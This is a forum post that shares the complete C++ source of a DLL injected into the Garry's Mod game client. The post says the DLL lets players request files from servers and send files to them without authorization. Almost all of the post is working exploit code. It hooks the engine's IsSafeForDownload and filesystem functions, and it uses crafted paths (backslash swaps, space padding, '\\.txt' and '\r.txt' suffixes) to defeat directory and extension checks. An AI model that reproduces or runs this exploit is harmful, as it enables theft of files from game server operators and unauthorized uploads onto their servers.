So a while back a DLL that allowed people to request and send files to some gmod servers was going around, thought I would get you guys the source.
Code:
#define WIN32_LEAN_AND_MEAN
#define VC_EXTRALEAN
#include <Windows.h>
#include <string>
#include "cdll_int.h"
#include "iclient.h"
#include "inetchannel.h"
#include "convar.h"
#include "filesystem.h"
#include "util/SigScan.h"
#include "util/vfnhook.h"
#include "detours.h"
IBaseFileSystem *fs;
typedef char(__cdecl *IsSafeForDownloadFn)(const char *file_name);
IsSafeForDownloadFn IsSafeForDownload;
char __cdecl IsSafeForDownload_Hook(const char *file_name) {
std::string path = file_name;
if (path.length() >= 5 && (path.substr(path.size() - 5) == "\\.txt" || path.substr(path.size() - 5) == "\r.txt")) {
return 1;
}
return IsSafeForDownload(file_name);
}
DEFVFUNC_(IBaseFileSystem_Open, FileHandle_t, (IBaseFileSystem *thisptr, const char *pFileName, const char *pOptions, const char *pathID));
FileHandle_t VFUNC IBaseFileSystem_Open_Hook(IBaseFileSystem *thisptr, char *pFileName, const char *pOptions, const char *pathID) {
std::string path = pFileName;
if (path.length() >= 5 && (path.substr(path.size() - 5) == "\\.txt" || path.substr(path.size() - 5) == "\r.txt")) {
path = path.substr(0, path.size() - 5);
path = path.substr(0, path.find_last_not_of(" ") + 1);
Warning("Opening: %s\n", path.c_str());
strcpy(pFileName, path.c_str());
}
return IBaseFileSystem_Open(thisptr, pFileName, pOptions, pathID);
}
int transfer_id = 64;
void SendFile(const CCommand &args)
{
CreateInterfaceFn engineFactory = Sys_GetFactory("engine.dll");
IVEngineClient *cl_engine = (IVEngineClient *)engineFactory(VENGINE_CLIENT_INTERFACE_VERSION_13, 0);
INetChannel *net = (INetChannel *)cl_engine->GetNetChannelInfo();
if (!args.Arg(1)) {
Warning("No file name given\n");
return;
}
std::string path = args.Arg(1);
path.replace(path.find_first_of("/"), 1, "\\"); // Bypass the dir checks such as "lua/", "addons/"
net->SendFile(path.c_str(), transfer_id++);
Warning("Sending: %s\n", args.Arg(1));
}
ConCommand send_file("send_file", SendFile, "Send file to server", FCVAR_NONE);
void RequestFile(const CCommand &args)
{
CreateInterfaceFn engineFactory = Sys_GetFactory("engine.dll");
IVEngineClient *cl_engine = (IVEngineClient *)engineFactory(VENGINE_CLIENT_INTERFACE_VERSION_13, 0);
INetChannel *net = (INetChannel *)cl_engine->GetNetChannelInfo();
if (!args.Arg(1)) {
Warning("No file name given\n");
return;
}
const int target_length = 234;
// WINDOWS
std::string path = args.Arg(1);
path.replace(path.find_first_of("/"), 1, "\\"); // Bypass the dir checks such as "lua/", "addons/"
path.append((target_length - 5) - path.length(), ' '); // Bypass extension checks
path.append("\\.txt");
net->RequestFile(path.c_str());
// LINUX
std::string unix_path = args.Arg(1);
unix_path.replace(unix_path.find_first_of("/"), 1, "\\"); // Bypass the dir checks such as "lua/", "addons/"
unix_path.append("\r.txt"); // Bypass extension checks
net->RequestFile(unix_path.c_str());
Warning("Requesting: %s\n", args.Arg(1));
}
ConCommand request_file("request_file", RequestFile, "Request file from server", FCVAR_NONE);
DWORD WINAPI ThreadCallback(LPVOID lpParameter)
{
Sleep(2000);
CreateInterfaceFn VSTDLibFactory = Sys_GetFactory("vstdlib.dll");
ICvar *g_ICvar = (ICvar *) VSTDLibFactory(CVAR_INTERFACE_VERSION, 0);
g_ICvar->RegisterConCommand(&send_file);
g_ICvar->RegisterConCommand(&request_file);
Sys_LoadInterface("FileSystem_Stdio", BASEFILESYSTEM_INTERFACE_VERSION, nullptr, (void **)&fs);
if (!fs) {
Warning("[FILE_TRANSFER] Could not get IBaseFileSystem!\n");
return 0;
}
HOOKVFUNC(fs, 2, IBaseFileSystem_Open, IBaseFileSystem_Open_Hook);
IsSafeForDownload = (IsSafeForDownloadFn)SigScan("engine.dll").Scan("\x55\x8B\xEC\x81\xEC????\x57\x8B\x7D\x08\x85\xFF\x0F\x84????\x80\x3F?\x0F\x84????\x57");
DETOURS_START();
DETOURS_HOOK(IsSafeForDownload, IsSafeForDownload_Hook);
DETOURS_END();
return 0;
}
bool WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
if (dwReason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hModule);
CreateThread(nullptr, 0, ThreadCallback, nullptr, 0, nullptr);
}
return true;
}